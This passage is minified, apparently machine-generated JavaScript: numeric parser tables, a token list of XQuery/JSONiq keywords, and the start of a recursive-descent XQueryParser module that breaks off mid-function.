0,1536,32768,0,5242880,0,0,0,1998,518144,8388608,-2147418112,5242880,-1842937664,201330721,201330721,-2111369023,-2111369023,-2111369023,-2111369023,-2111360575,-2111369023,-2111369023,-2111369023,-1977151295,-1977151293,-1910042431,-1893265183,-2111368509,-1893265183,-1893265183,-1893265183,-1893265183,-2111368509,-1893265183,-1893265183,-553689472,-553656704,-553689472,-553689472,-553656704,-553656704,-553656704,-553656704,-553656704,-553656672,-553656672,-553656672,-553656672,-536912159,-553656672,-553656672,-553656664,-553656664,-553656672,-553656672,-553656670,-553656672,-553656672,-553656670,-553656608,-553656671,-536879391,-536879391,-536879391,0,0,262656,0,0,65,1024,0,1,4096,201326592,0,0,0,0,462976,-2113929216,100663296,100663296,2,4,8,64,128,512,2048,8192,16384,458752,18874368,463488,0,0,1,2,4,32,0,0,1007232,15728640,104e4,15728640,-570425344,0,0,0,2014,0,0,0,32505856,-570425344,196608,2097152,301989888,0,0,80,268435456,0,268435456,0,268435456,268435456,268435456,268435456,0,0,0,4096,201326592,0,0,96,2260992,12288,0,2147483648,0,0,118,577408,22020096,1040187392,0,0,167772160,234881024,128,512,2048,196608,262144,33554432,536870912,0,0,0,557056,7168,16384,196608,786432,503316480,1073741824,2147483648,0,0,128,131072,524288,58720256,402653184,0,0,0,318767104,128,512,7168,16384,32768,32768,196608,786432,1048576,2097152,4194304,33554432,268435456,536870912,2147483648,0,0,1,256,8388608,234881024,268435456,1073741824,2147483648,4096,16384,32768,131072,524288,1048576,2097152,4194304,8388608,234881024,0,0,201326592,0,0,128,536870912,4194304,512,3072,16384,131072,524288,1048576,4194304,134217728,8388608,33554432,201326592,268435456,1073741824,0,1048576,4194304,268435456,4194304,8388608,134217728,268435456,1073741824,3072,131072,524288,1048576,1073741824,0,0,0,2147483648,0,0,0,-2147483646,16384,18432,67108864,1073741824,16384,8192,0,0,65536,262144,0,0,67108864,0,0,0,32768,0,1,18952,1024,0,0,192,0,0,0,65,1024,1024,100663298,18952,65,268436480,2101248,524288,1024,19017,-1744550912,8388624,8388624,8388624,-1739308032,-1739308032,-1739308032,-1739308032,-1736162288,-1736162288,-1736162288,-1736162288,-7868466,-7868466,-7868466,-7868466,-7868466,-7868450,-7868450,-7868450,-7868450,0,0,0,65536,2048,16384,67108864,134217728,268435456,0,0,1073741824,18432,0,0,1,285212672,0,585,0,0,2,8,16,64,128,3072,4096,8192,65536,131072,0,0,1024,5521408,-1744830464,0,0,0,262144,0,0,0,1024,0,0,0,112,1040,0,0,-1744830464,0,-1744830464,59238400,-67108864,0,0,0,327680,2014,0,0,0,328192,518144,8388608,50331648,201326592,805306368,-1073741824,768,1024,10240,16384,32768,458752,50331648,67108864,134217728,805306368,0,0,0,458880,32768,458752,8388608,50331648,67108864,134217728,67108864,134217728,805306368,1073741824,2147483648,0,0,220,0,0,0,471424,12,192,768,1024,2048,805306368,1073741824,0,0,2,204,768,1024,4,8,32,64,512,2048,512,2048,16384,67108864,0,0,458752,50331648,67108864,805306368,-1073741824,0,0,0,393240,0,1048576,4194304,0,0,16384,458752,50331648,67108864,536870912,1073741824,0,0,16384,0,0,0,256,0,0,0,512,0,0,0,585,16,0,0,1048576,4194304,2147483648,4,8,128,512,3072,16384,32768,131072,512,0,0,4096,1048576,2147483648,8192,2097152,268435456,2147483648,537395200,537395200,0,4196352,51380242,51380242,51380242,0,537395200,4196352,4196352,276901888,8540160,-1606418432,0,32768,537395200,4196352,1082130432,0,4196352,537427968,22022147,22349827,22349827,22349827,22366219,22349843,22349827,22349827,22366219,22349827,55576594,55576594,55576594,55576594,55576594,324012114,55576594,55576594,1062785014,1062785014,1062785014,1062785014,0,0,2,33554432,0,0,0,131072,0,0,0,8192,8392704,32768,268435456,0,0,2,67108864,12,16384,0,65536,0,22020096,0,0,0,104e4,15728640,0,0,329728,0,0,254,1792,2809856,58720256,19,0,0,0,1048576,0,0,0,2048,0,0,0,18,33554432,0,0,256,8192,0,0,8192,2097152,0,2147483648,0,82,301989888,0,0,0,2101248,22020096,1040187392,0,0,0,4194304,0,0,0,16384,1536,0,256,0,8192,2097152,16,1048576,16777216,33554432,268435456,536870912,2147483648,3584,16384,32768,524288,1048576,4194304,0,0,8388608,1073741824,0,0,1536,2048,16384,32768,524288,4194304,134217728,0,0,134217728,4096,0,8,0,256,1536,16384,32768,524288,128,536870912,0,0,4,8,512,2048,0,0,1536,32768,524288,4194304,33554432,134217728,536870912,0,0,8192,2097152,2147483648,0,0,512,2048,131072,536870912,0,0,16,64,1536,32768,32768,524288,134217728,0,0,0,524288,0,64,64,16392,1536,32768,524288,0,0,33554432,8192,0,65536,0,0,1,1,0,1,67174400,33554432,536870912,-1073741824,0,0,0,0,524288,134217728,67174400,0,0,0,16777216,0,0,0,4,0,0,0,7,16,16384,8,8,0,0,512,3072,131072,131072,268435456,134217728,8,512,2048,196608,262144,50331648,536870912,1073741824,0,4,8,2048,8192,32768,8388608,0,0,134217736,16908320,547389524,547389524,555909216,555909216,555909216,555909216,564297840,564297844,564297844,564297844,564297844,1001055742,1001056254,1001055742,1001055742,1001056254,1001056254,1001056254,1001056254,1001055742,1001056254,1001056254,1001056254,1001056254,0,1052672,2147483648,0,0,4,16,0,0,84,2129920,8388608,4096,0,0,0,116,0,254,1280,2809856,58720256,939524096,0,0,0,50331648,268435456,0,0,0,939524096,0,0,520,1024,0,0,1,0,67108864,1073741824,0,0,0,20,64,32768,8192,0,2048,0,2097152,8388608,536870912,0,0,1024,278528,0,0,0,393232,163840,0,0,0,134217728,0,0,0,16,0,0,0,15,208,15360,1245184,52,0,0,0,268435456,0,0,33554432,64,128,1280,24576,163840,524288,2097152,58720256,402653184,536870912,128,1792,24576,163840,524288,0,4,16,8388608,0,0,4096,32768,262144,524288,33554432,134217728,0,0,24,32,128,1280,8192,16384,8192,524288,16777216,33554432,402653184,0,4,8,16,1024,2048,8192,16384,32768,458752,0,262144,33554432,134217728,0,512,1024,16777216,33554432,402653184,0,4096,1048576,0,0,1998,59238400,-67108864,4,8,16,402653184,0,0,8,16,402653184,536870912,0,0,4,64,128,8388608,0,0,67108866,12,64,128,512,1024,4,16384,65536,67108864,0,65536,0,0,2048,64,64,64,96,96,96,96,0,8192,8192,268435460,32768,65536,2490368,16777216,2147483648,0,0,1,4,8,2048,8192,3670016,2048,2048,2048,2048,0,8192,34816,9216,4096,0,128,0,2097152,0,0,4096,4096,29696,29712,29840,29712,29712,29840,29840,536900624,4224144,144384,144384,144384,144384,-754647956,-754647956,-754647956,-754647956,-754647956,-754647940,-754647940,-754647940,-754647940,-754516884,-754647956,-754516884,-754516884,-754516884,4,8,256,512,2048,0,0,3670016,0,0,2048,131072,524288,4194304,2147483648,0,0,9216,0,0,4,134217728,0,29696,0,0,4,268435456,0,16,0,29824,0,60,64576,319029248,-1073741824,0,0,319160320,0,0,0,319160320,0,0,524288,3145728,0,12288,131072,0,8,131072,61440,262144,318767104,-1073741824,0,0,64,1024,2048,61440,262144,0,28,32,64,64,64,128,0,0,16384,32768,50331648,268435456,0,0,0,393216,0,0,0,486539264,0,128,0,536870912,0,0,12,16,32,327155712,34,1056,32,32,42,4457568,-326784344,-322851160,-322698144,-322698144,-322698144,-322698144,-322695456,0,0,524288,1048576,0,0,0,536870912,4194304,131072,0,0,6,56,128,1792,2,67108864,16384,0,0,4096,4194304,32768,0,0,0,8388608,0,0,0,72,0,8,64,2048,57344,16384,32768,262144,50331648,268435456,0,524288,1048576,2097152,4194304,134217728,2147483648,0,0,50331648,268435456,2147483648,0,0,1,0,0,2,4,16,64,1,0,2,0,0,65536,0,0,0,1040,8667136,0,131072,131072,0,131072,0,131072,0,0,524288,536870912,131072,0,0,7,27756528,-503316480,0,256,0,2048,32768,8388608,262144,2113536,0,0,8,16,512,402653184,0,0,0,256,32768,0,0,4224,65536,262144,1048576,4194304,16777216,33554432,67108864,134217728,0,0,256,262144,0,0,8192,268435456,0,0,0,4,131073,0,0,9728,268435456,0,0,16,393216,0,131073,131073,33554624,4,0,131073,0,0,13312,131072,4194304,-2146430976,131072,2097152,16777216,0,0,512,131072,1048576,2097152,0,1572864,0,0,0,2147483648,524288,0,1610612736,1610612736,1610612736,393241,393241,393241,393241,805707793,805707793,1879449617,805708049,1879449617,1879449617,1879449617,1879449617,-483948553,-475559945,-483948553,-475559945,-483948553,-483948553,-475559945,-475559945,-475559945,-475559945,-483948553,-483948553,-215504905,-475559945,-207116297,-207116297,0,0,0,1073741824,0,0,2097152,67108864,134217728,536870912,0,0,24576,0,0,0,2113536,0,0,8,64,0,0,0,401424,805306368,0,0,28672,0,0,4096,2097152,4194304,8388608,503316480,1073741824,0,0,1879048192,0,0,32768,2097152,8388608,16777216,33554432,0,401680,0,0,8,512,2048,131072,33554432,536870912,0,0,7,19367920,-503316480,27756528,-503316480,0,0,0,0,0,19376112,-234881024,0,27764720,-234881024,0,0,32768,33554436,0,0,33554436,24,0,0,0,11,346112,7,16,480,1536,32768,65536,393216,10485760,65536,10878976,16777216,33554432,536870912,4,32,524288,1048576,33554432,67108864,65536,393216,2097152,16777216,262400,65536,4224,4224,0,65536,201326592,2147483648,393216,10485760,16777216,33554432,1073741824,2147483648,0,16,224,256,1536,32768,65536,0,16384,2097152,0,0,1024,32768,65536,131072,262144,262144,2097152,16777216,33554432,4,32,524288,134217728,0,512,32768,131072,262144,2097152,2097152,8388608,16777216,1073741824,0,0,512,32768,131072,2097152,8388608,8388608,16777216,0,0,16,33554432,4,16,224,512,32768,4,524288,134217728,0,0,32768,50331648,268435456,4096,32768,0,0,16,536870912,16,192,32768,8388608,4096,4096,4096,1536,2,4,16,192,32768,0,16,64,128,8388608,0,0,0,2,4,134217728,4,0,0,128,512,3072,4096,16384,131072,4,128,0,0,18,17825792,524288,8388608,33554432,2147483648,8192,0,33554432,0,0,33554432,0,0,0,268435456,2,4,8,262144,262144,1048576,2048,32768,0,0,28,0,100663296,4224,65536,65536,262144,33554432,0,2,4,24,-1072627712,805306384,-1342177264,-1342177264,-1070006272,-1070006272,-1069989376,-1069989376,-258932720,-258932720,-258932720,-258932720,-225378288,-1069989376,-1069989360,-1065795072,-1061600768,-258932720,-225378288,-258932720,-258932720,1260767,34815199,1260767,34815199,1260767,34815199,34815199,1260767,1260767,34815199,1260767,1260767,169032927,-1978450721,169032927,-1978450721,169032927,169032927,169032927,169032927,1242774751,-1978450721,-1978450721,-225231649,-1173144353,-225231649,-91013921,0,0,32,128,256,262144,524288,8388608,0,64,0,0,1114112,1073741824,0,0,34816,0,0,2048,4194304,0,0,0,3735552,0,0,32,512,2048,32768,262144,524288,3751936,0,0,0,48,0,0,528,7946240,12140544,9502720,1610612736,0,0,0,15360,1245184,0,0,134217728,128,15,9633792,0,0,0,2,12,80,128,7168,8192,7168,8192,196608,1048576,0,0,0,1,2,12,16,64,128,256,0,0,3145728,0,0,0,536870912,0,0,8192,65536,131072,1048576,0,0,0,2097152,0,16384,0,4194304,0,0,2097152,16384,0,0,131072,2097152,0,0,0,4096,0,0,8192,0,0,0,128,0,0,0,208,0,64,128,1024,4096,0,0,2,8,64,128,1024,2048,4096,8192,128,1024,4096,8192,0,0],r.TOKEN=[\"(0)\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSection\",\"Wildcard\",\"EQName\",\"URILiteral\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"StringLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"PITarget\",\"NCName\",\"QName\",\"S\",\"S\",\"CharRef\",\"CommentContents\",\"EOF\",\"'!'\",\"'!='\",\"'\\\"'\",\"'#'\",\"'#)'\",\"'$'\",\"'$$'\",\"'%'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"')'\",\"'*'\",\"'*'\",\"'+'\",\"','\",\"'-'\",\"'-->'\",\"'.'\",\"'..'\",\"'/'\",\"'//'\",\"'/>'\",\"':'\",\"':)'\",\"'::'\",\"':='\",\"';'\",\"'<'\",\"'<!--'\",\"'</'\",\"'<<'\",\"'<='\",\"'<?'\",\"'='\",\"'>'\",\"'>='\",\"'>>'\",\"'?'\",\"'?>'\",\"'@'\",\"'NaN'\",\"'['\",\"']'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'false'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'jsoniq'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'null'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'select'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'true'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'{|'\",\"'|'\",\"'||'\",\"'|}'\",\"'}'\",\"'}}'\"]},{}],10:[function(e,t,n){var r=n.XQueryParser=function i(e,t){function r(e,t){Vl=t,Ql=e,Gl=e.length,s(0,0,0)}function s(e,t,n){Dl=t,Pl=t,Hl=e,Bl=t,jl=n,Fl=0,Zl=n,Ul=-1,$l={},Vl.reset(Ql)}function o(){Vl.startNonterminal(\"Module\",Pl);switch(Hl){case 274:Ll(199);break;default:_l=Hl}(_l==64274||_l==134930)&&u(),kl(275);switch(Hl){case 182:Ll(194);break;default:_l=Hl}switch(_l){case 94390:Nl(),a();break;default:Nl(),Ra()}Vl.endNonterminal(\"Module\",Pl)}function u(){Vl.startNonterminal(\"VersionDecl\",Pl),Sl(274),kl(116);switch(Hl){case 125:Sl(125),kl(17),Sl(11);break;default:Sl(263),kl(17),Sl(11),kl(109),Hl==125&&(Sl(125),kl(17),Sl(11))}kl(28),Nl(),c(),Vl.endNonterminal(\"VersionDecl\",Pl)}function a(){Vl.startNonterminal(\"LibraryModule\",Pl),f(),kl(138),Nl(),l(),Vl.endNonterminal(\"LibraryModule\",Pl)}function f(){Vl.startNonterminal(\"ModuleDecl\",Pl),Sl(182),kl(61),Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60),kl(15),Sl(7),kl(28),Nl(),c(),Vl.endNonterminal(\"ModuleDecl\",Pl)}function l(){Vl.startNonterminal(\"Prolog\",Pl);for(;;){kl(275);switch(Hl){case 108:Ll(214);break;case 153:Ll(202);break;default:_l=Hl}if(_l!=42604&&_l!=43628&&_l!=50284&&_l!=53356&&_l!=54380&&_l!=55916&&_l!=72300&&_l!=93337&&_l!=94316&&_l!=104044&&_l!=113772&&_l!=115353)break;switch(Hl){case 108:Ll(179);break;default:_l=Hl}if(_l==55916){_l=Kl(0,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{_(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(0,Pl,_l)}}switch(_l){case-1:Nl(),M();break;case 94316:Nl(),O();break;case 153:Nl(),C();break;case 72300:Nl(),D();break;default:Nl(),h()}kl(28),Nl(),c()}for(;;){kl(275);switch(Hl){case 108:Ll(211);break;default:_l=Hl}if(_l!=16492&&_l!=48748&&_l!=51820&&_l!=74348&&_l!=79468&&_l!=82540&&_l!=101996&&_l!=131692&&_l!=134252)break;switch(Hl){case 108:Ll(175);break;default:_l=Hl}switch(_l){case 51820:Nl(),R();break;case 101996:Nl(),Q();break;default:Nl(),P()}kl(28),Nl(),c()}Vl.endNonterminal(\"Prolog\",Pl)}function c(){Vl.startNonterminal(\"Separator\",Pl),Sl(53),Vl.endNonterminal(\"Separator\",Pl)}function h(){Vl.startNonterminal(\"Setter\",Pl);switch(Hl){case 108:Ll(172);break;default:_l=Hl}if(_l==55916){_l=Kl(1,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{v(),_l=-2}catch(a){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),w(),_l=-6}catch(f){_l=-9}}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(1,Pl,_l)}}switch(_l){case 43628:p();break;case-2:d();break;case 42604:m();break;case 50284:g();break;case 104044:y();break;case-6:b();break;case 113772:ko();break;case 53356:E();break;default:T()}Vl.endNonterminal(\"Setter\",Pl)}function p(){Vl.startNonterminal(\"BoundarySpaceDecl\",Pl),Sl(108),kl(33),Sl(85),kl(133);switch(Hl){case 214:Sl(214);break;default:Sl(241)}Vl.endNonterminal(\"BoundarySpaceDecl\",Pl)}function d(){Vl.startNonterminal(\"DefaultCollationDecl\",Pl),Sl(108),kl(46),Sl(109),kl(38),Sl(94),kl(15),Sl(7),Vl.endNonterminal(\"DefaultCollationDecl\",Pl)}function v(){xl(108),kl(46),xl(109),kl(38),xl(94),kl(15),xl(7)}function m(){Vl.startNonterminal(\"BaseURIDecl\",Pl),Sl(108),kl(32),Sl(83),kl(15),Sl(7),Vl.endNonterminal(\"BaseURIDecl\",Pl)}function g(){Vl.startNonterminal(\"ConstructionDecl\",Pl),Sl(108),kl(41),Sl(98),kl(133);switch(Hl){case 241:Sl(241);break;default:Sl(214)}Vl.endNonterminal(\"ConstructionDecl\",Pl)}function y(){Vl.startNonterminal(\"OrderingModeDecl\",Pl),Sl(108),kl(68),Sl(203),kl(131);switch(Hl){case 202:Sl(202);break;default:Sl(256)}Vl.endNonterminal(\"OrderingModeDecl\",Pl)}function b(){Vl.startNonterminal(\"EmptyOrderDecl\",Pl),Sl(108),kl(46),Sl(109),kl(67),Sl(201),kl(49),Sl(123),kl(121);switch(Hl){case 147:Sl(147);break;default:Sl(173)}Vl.endNonterminal(\"EmptyOrderDecl\",Pl)}function w(){xl(108),kl(46),xl(109),kl(67),xl(201),kl(49),xl(123),kl(121);switch(Hl){case 147:xl(147);break;default:xl(173)}}function E(){Vl.startNonterminal(\"CopyNamespacesDecl\",Pl),Sl(108),kl(44),Sl(104),kl(128),Nl(),S(),kl(25),Sl(41),kl(123),Nl(),x(),Vl.endNonterminal(\"CopyNamespacesDecl\",Pl)}function S(){Vl.startNonterminal(\"PreserveMode\",Pl);switch(Hl){case 214:Sl(214);break;default:Sl(190)}Vl.endNonterminal(\"PreserveMode\",Pl)}function x(){Vl.startNonterminal(\"InheritMode\",Pl);switch(Hl){case 157:Sl(157);break;default:Sl(189)}Vl.endNonterminal(\"InheritMode\",Pl)}function T(){Vl.startNonterminal(\"DecimalFormatDecl\",Pl),Sl(108),kl(114);switch(Hl){case 106:Sl(106),kl(255),Nl(),Ha();break;default:Sl(109),kl(45),Sl(106)}for(;;){kl(181);if(Hl==53)break;Nl(),N(),kl(29),Sl(60),kl(17),Sl(11)}Vl.endNonterminal(\"DecimalFormatDecl\",Pl)}function N(){Vl.startNonterminal(\"DFPropertyName\",Pl);switch(Hl){case 107:Sl(107);break;case 149:Sl(149);break;case 156:Sl(156);break;case 179:Sl(179);break;case 67:Sl(67);break;case 209:Sl(209);break;case 208:Sl(208);break;case 275:Sl(275);break;case 116:Sl(116);break;default:Sl(207)}Vl.endNonterminal(\"DFPropertyName\",Pl)}function C(){Vl.startNonterminal(\"Import\",Pl);switch(Hl){case 153:Ll(126);break;default:_l=Hl}switch(_l){case 115353:k();break;default:A()}Vl.endNonterminal(\"Import\",Pl)}function k(){Vl.startNonterminal(\"SchemaImport\",Pl),Sl(153),kl(73),Sl(225),kl(137),Hl!=7&&(Nl(),L()),kl(15),Sl(7),kl(108);if(Hl==81){Sl(81),kl(15),Sl(7);for(;;){kl(103);if(Hl!=41)break;Sl(41),kl(15),Sl(7)}}Vl.endNonterminal(\"SchemaImport\",Pl)}function L(){Vl.startNonterminal(\"SchemaPrefix\",Pl);switch(Hl){case 184:Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60);break;default:Sl(109),kl(47),Sl(121),kl(61),Sl(184)}Vl.endNonterminal(\"SchemaPrefix\",Pl)}function A(){Vl.startNonterminal(\"ModuleImport\",Pl),Sl(153),kl(60),Sl(182),kl(90),Hl==184&&(Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60)),kl(15),Sl(7),kl(108);if(Hl==81){Sl(81),kl(15),Sl(7);for(;;){kl(103);if(Hl!=41)break;Sl(41),kl(15),Sl(7)}}Vl.endNonterminal(\"ModuleImport\",Pl)}function O(){Vl.startNonterminal(\"NamespaceDecl\",Pl),Sl(108),kl(61),Sl(184),kl(249),Nl(),Ia(),kl(29),Sl(60),kl(15),Sl(7),Vl.endNonterminal(\"NamespaceDecl\",Pl)}function M(){Vl.startNonterminal(\"DefaultNamespaceDecl\",Pl),Sl(108),kl(46),Sl(109),kl(115);switch(Hl){case 121:Sl(121);break;default:Sl(145)}kl(61),Sl(184),kl(15),Sl(7),Vl.endNonterminal(\"DefaultNamespaceDecl\",Pl)}function _(){xl(108),kl(46),xl(109),kl(115);switch(Hl){case 121:xl(121);break;default:xl(145)}kl(61),xl(184),kl(15),xl(7)}function D(){Vl.startNonterminal(\"FTOptionDecl\",Pl),Sl(108),kl(52),Sl(141),kl(81),Nl(),Fu(),Vl.endNonterminal(\"FTOptionDecl\",Pl)}function P(){Vl.startNonterminal(\"AnnotatedDecl\",Pl),Sl(108);for(;;){kl(170);if(Hl!=32&&Hl!=257)break;switch(Hl){case 257:Nl(),H();break;default:Nl(),B()}}switch(Hl){case 262:Nl(),F();break;case 145:Nl(),wl();break;case 95:Nl(),da();break;case 155:Nl(),xa();break;default:Nl(),Ta()}Vl.endNonterminal(\"AnnotatedDecl\",Pl)}function H(){Vl.startNonterminal(\"CompatibilityAnnotation\",Pl),Sl(257),Vl.endNonterminal(\"CompatibilityAnnotation\",Pl)}function B(){Vl.startNonterminal(\"Annotation\",Pl),Sl(32),kl(255),Nl(),Ha(),kl(171);if(Hl==34){Sl(34),kl(154),Nl(),oi();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(154),Nl(),oi()}Sl(37)}Vl.endNonterminal(\"Annotation\",Pl)}function j(){xl(32),kl(255),Ba(),kl(171);if(Hl==34){xl(34),kl(154),ui();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(154),ui()}xl(37)}}function F(){Vl.startNonterminal(\"VarDecl\",Pl),Sl(262),kl(21),Sl(31),kl(255),Nl(),hi(),kl(147),Hl==79&&(Nl(),ds()),kl(106);switch(Hl){case 52:Sl(52),kl(267),Nl(),I();break;default:Sl(133),kl(104),Hl==52&&(Sl(52),kl(267),Nl(),q())}Vl.endNonterminal(\"VarDecl\",Pl)}function I(){Vl.startNonterminal(\"VarValue\",Pl),_f(),Vl.endNonterminal(\"VarValue\",Pl)}function q(){Vl.startNonterminal(\"VarDefaultValue\",Pl),_f(),Vl.endNonterminal(\"VarDefaultValue\",Pl)}function R(){Vl.startNonterminal(\"ContextItemDecl\",Pl),Sl(108),kl(43),Sl(101),kl(55),Sl(165),kl(147),Hl==79&&(Sl(79),kl(260),Nl(),ws()),kl(106);switch(Hl){case 52:Sl(52),kl(267),Nl(),I();break;default:Sl(133),kl(104),Hl==52&&(Sl(52),kl(267),Nl(),q())}Vl.endNonterminal(\"ContextItemDecl\",Pl)}function U(){Vl.startNonterminal(\"ParamList\",Pl),W();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(21),Nl(),W()}Vl.endNonterminal(\"ParamList\",Pl)}function z(){X();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(21),X()}}function W(){Vl.startNonterminal(\"Param\",Pl),Sl(31),kl(255),Nl(),Ha(),kl(143),Hl==79&&(Nl(),ds()),Vl.endNonterminal(\"Param\",Pl)}function X(){xl(31),kl(255),Ba(),kl(143),Hl==79&&vs()}function V(){Vl.startNonterminal(\"FunctionBody\",Pl),J(),Vl.endNonterminal(\"FunctionBody\",Pl)}function $(){K()}function J(){Vl.startNonterminal(\"EnclosedExpr\",Pl),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"EnclosedExpr\",Pl)}function K(){xl(276),kl(267),Y(),xl(282)}function Q(){Vl.startNonterminal(\"OptionDecl\",Pl),Sl(108),kl(66),Sl(199),kl(255),Nl(),Ha(),kl(17),Sl(11),Vl.endNonterminal(\"OptionDecl\",Pl)}function G(){Vl.startNonterminal(\"Expr\",Pl),_f();for(;;){if(Hl!=41)break;Sl(41),kl(267),Nl(),_f()}Vl.endNonterminal(\"Expr\",Pl)}function Y(){Df();for(;;){if(Hl!=41)break;xl(41),kl(267),Df()}}function Z(){Vl.startNonterminal(\"FLWORExpr\",Pl),tt();for(;;){kl(173);if(Hl==220)break;Nl(),rt()}Nl(),rn(),Vl.endNonterminal(\"FLWORExpr\",Pl)}function et(){nt();for(;;){kl(173);if(Hl==220)break;it()}sn()}function tt(){Vl.startNonterminal(\"InitialClause\",Pl);switch(Hl){case 137:Ll(141);break;default:_l=Hl}switch(_l){case 16009:st();break;case 174:vt();break;default:bt()}Vl.endNonterminal(\"InitialClause\",Pl)}function nt(){switch(Hl){case 137:Ll(141);break;default:_l=Hl}switch(_l){case 16009:ot();break;case 174:mt();break;default:wt()}}function rt(){Vl.startNonterminal(\"IntermediateClause\",Pl);switch(Hl){case 137:case 174:tt();break;case 266:It();break;case 148:Rt();break;case 105:jt();break;default:Kt()}Vl.endNonterminal(\"IntermediateClause\",Pl)}function it(){switch(Hl){case 137:case 174:nt();break;case 266:qt();break;case 148:Ut();break;case 105:Ft();break;default:Qt()}}function st(){Vl.startNonterminal(\"ForClause\",Pl),Sl(137),kl(21),Nl(),ut();for(;;){if(Hl!=41)break;Sl(41),kl(21),Nl(),ut()}Vl.endNonterminal(\"ForClause\",Pl)}function ot(){xl(137),kl(21),at();for(;;){if(Hl!=41)break;xl(41),kl(21),at()}}function ut(){Vl.startNonterminal(\"ForBinding\",Pl),Sl(31),kl(255),Nl(),hi(),kl(164),Hl==79&&(Nl(),ds()),kl(158),Hl==72&&(Nl(),ft()),kl(150),Hl==81&&(Nl(),ct()),kl(122),Hl==228&&(Nl(),pt()),kl(53),Sl(154),kl(267),Nl(),_f(),Vl.endNonterminal(\"ForBinding\",Pl)}function at(){xl(31),kl(255),pi(),kl(164),Hl==79&&vs(),kl(158),Hl==72&&lt(),kl(150),Hl==81&&ht(),kl(122),Hl==228&&dt(),kl(53),xl(154),kl(267),Df()}function ft(){Vl.startNonterminal(\"AllowingEmpty\",Pl),Sl(72),kl(49),Sl(123),Vl.endNonterminal(\"AllowingEmpty\",Pl)}function lt(){xl(72),kl(49),xl(123)}function 